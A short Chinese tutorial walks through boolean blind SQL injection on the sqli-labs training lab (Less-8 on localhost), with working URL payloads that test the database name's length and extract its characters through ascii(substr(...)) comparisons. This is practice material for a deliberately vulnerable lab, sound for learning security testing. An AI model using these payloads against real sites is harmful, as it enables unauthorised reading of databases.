布尔盲注
任务:sqli_labs_08,布尔盲注,获取数据库名
1.通过单引号,双引号判断字符类型,再观察是否有回显,发现没有回显,但是页面有其他变化。
2.因此可以使用盲注,通过布尔判断我们的盲猜是否正确。
http://localhost/sqli_labs/Less-8/?id=5' and 1=2 --+
盲猜手法
猜数据库长度
通过length()函数来盲猜数据库长度,再借助回显来判断猜测是否正确
http://localhost/sqli_labs/Less-8/?id=5' and length(database())>8 --+
猜数据库名
猜第一个字母:
http://localhost/sqli_labs/Less-8/?id=5' and ascii(substr((select database()),1,1))=115--+
猜第二个字母:
http://localhost/sqli_labs/Less-8/?id=5' and ascii(substr((select database()),2,1))=101--+
猜第...个字母...
将数据库长度猜出之后,可以借助substr函数对数据库名进行截取,然后利用ascii()函数将截取的数据库名字符串进行编码,然后在126个数字范围内比较(这里建议通过二分查找法来减少比较次数),最后借助回显来判断猜测是否正确,然后将正确的ASCII码转换为对应的字符串即可。